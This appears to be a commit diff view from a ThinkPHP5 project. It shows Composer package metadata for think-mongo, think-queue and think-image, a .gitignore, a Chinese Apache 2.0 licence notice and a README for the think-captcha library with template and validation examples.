||||
},
|
||||
"time": "2017-05-05T07:52:33+00:00",
|
||||
"type": "library",
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"think\\mongo\\": "src"
|
||||
},
|
||||
"files": []
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"Apache-2.0"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "liu21st",
|
||||
"email": "liu21st@gmail.com"
|
||||
}
|
||||
],
|
||||
"description": "mongodb driver for thinkphp5"
|
||||
},
|
||||
{
|
||||
"name": "topthink/think-queue",
|
||||
"version": "v1.1.4",
|
||||
"version_normalized": "1.1.4.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/top-think/think-queue.git",
|
||||
"reference": "ad709611d516e13d6760234bc98e91faa901cae8"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://files.phpcomposer.com/files/top-think/think-queue/ad709611d516e13d6760234bc98e91faa901cae8.zip",
|
||||
"reference": "ad709611d516e13d6760234bc98e91faa901cae8",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"topthink/think-helper": ">=1.0.4",
|
||||
"topthink/think-installer": ">=1.0.10"
|
||||
},
|
||||
"time": "2017-06-25T00:49:56+00:00",
|
||||
"type": "think-extend",
|
||||
"extra": {
|
||||
"think-config": {
|
||||
"queue": "src/config.php"
|
||||
}
|
||||
},
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"think\\": "src"
|
||||
},
|
||||
"files": [
|
||||
"src/common.php"
|
||||
]
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"Apache-2.0"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "yunwuxin",
|
||||
"email": "448901948@qq.com"
|
||||
}
|
||||
],
|
||||
"description": "The ThinkPHP5 Queue Package"
|
||||
},
|
||||
{
|
||||
"name": "topthink/think-image",
|
||||
"version": "v1.0.7",
|
||||
"version_normalized": "1.0.7.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/top-think/think-image.git",
|
||||
"reference": "8586cf47f117481c6d415b20f7dedf62e79d5512"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://files.phpcomposer.com/files/top-think/think-image/8586cf47f117481c6d415b20f7dedf62e79d5512.zip",
|
||||
"reference": "8586cf47f117481c6d415b20f7dedf62e79d5512",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"ext-gd": "*"
|
||||
},
|
||||
"require-dev": {
|
||||
"phpunit/phpunit": "4.8.*",
|
||||
"topthink/framework": "^5.0"
|
||||
},
|
||||
"time": "2016-09-29T06:05:43+00:00",
|
||||
"type": "library",
|
||||
"installation-source": "dist",
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"think\\": "src"
|
||||
}
|
||||
},
|
||||
"notification-url": "https://packagist.org/downloads/",
|
||||
"license": [
|
||||
"Apache-2.0"
|
||||
],
|
||||
"authors": [
|
||||
{
|
||||
"name": "yunwuxin",
|
||||
"email": "448901948@qq.com"
|
||||
}
|
||||
],
|
||||
"description": "The ThinkPHP5 Image Package"
|
||||
}
|
||||
]
|
||||
@@ -0,0 +1,3 @@
|
||||
/vendor/
|
||||
/composer.lock
|
||||
.idea
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
|
||||
ThinkPHP遵循Apache2开源协议发布,并提供免费使用。
|
||||
版权所有Copyright © 2006-2016 by ThinkPHP (http://thinkphp.cn)
|
||||
All rights reserved。
|
||||
ThinkPHP® 商标和著作权所有者为上海顶想信息科技有限公司。
|
||||
|
||||
Apache Licence是著名的非盈利开源组织Apache采用的协议。
|
||||
该协议和BSD类似,鼓励代码共享和尊重原作者的著作权,
|
||||
允许代码修改,再作为开源或商业软件发布。需要满足
|
||||
的条件:
|
||||
1. 需要给代码的用户一份Apache Licence ;
|
||||
2. 如果你修改了代码,需要在被修改的文件中说明;
|
||||
3. 在延伸的代码中(修改和有源代码衍生的代码中)需要
|
||||
带有原来代码中的协议,商标,专利声明和其他原来作者规
|
||||
定需要包含的说明;
|
||||
4. 如果再发布的产品中包含一个Notice文件,则在Notice文
|
||||
件中需要带有本协议内容。你可以在Notice中增加自己的
|
||||
许可,但不可以表现为对Apache Licence构成更改。
|
||||
具体的协议参考:http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
|
||||
FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
|
||||
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGE.
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
# think-captcha
|
||||
thinkphp5 验证码类库
|
||||
|
||||
## 安装
|
||||
> composer require topthink/think-captcha
|
||||
|
||||
|
||||
##使用
|
||||
|
||||
###模板里输出验证码
|
||||
|
||||
~~~
|
||||
<div>{:captcha_img()}</div>
|
||||
~~~
|
||||
或者
|
||||
~~~
|
||||
<div><img src="{:captcha_src()}" alt="captcha" /></div>
|
||||
~~~
|
||||
> 上面两种的最终效果是一样的
|
||||
|
||||
### 控制器里验证
|
||||
使用TP5的内置验证功能即可
|
||||
~~~
|
||||
$this->validate($data,[
|
||||
'captcha|验证码'=>'required|captcha'
|
||||
]);
|
||||
~~~
|
||||
或者手动验证
|
||||
~~~
|
||||
if(!captcha_check($captcha)){
|
||||
//验证失败
|
||||
};
|
||||
~~~
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 30 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 29 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 31 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 28 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 27 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 31 KiB |
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user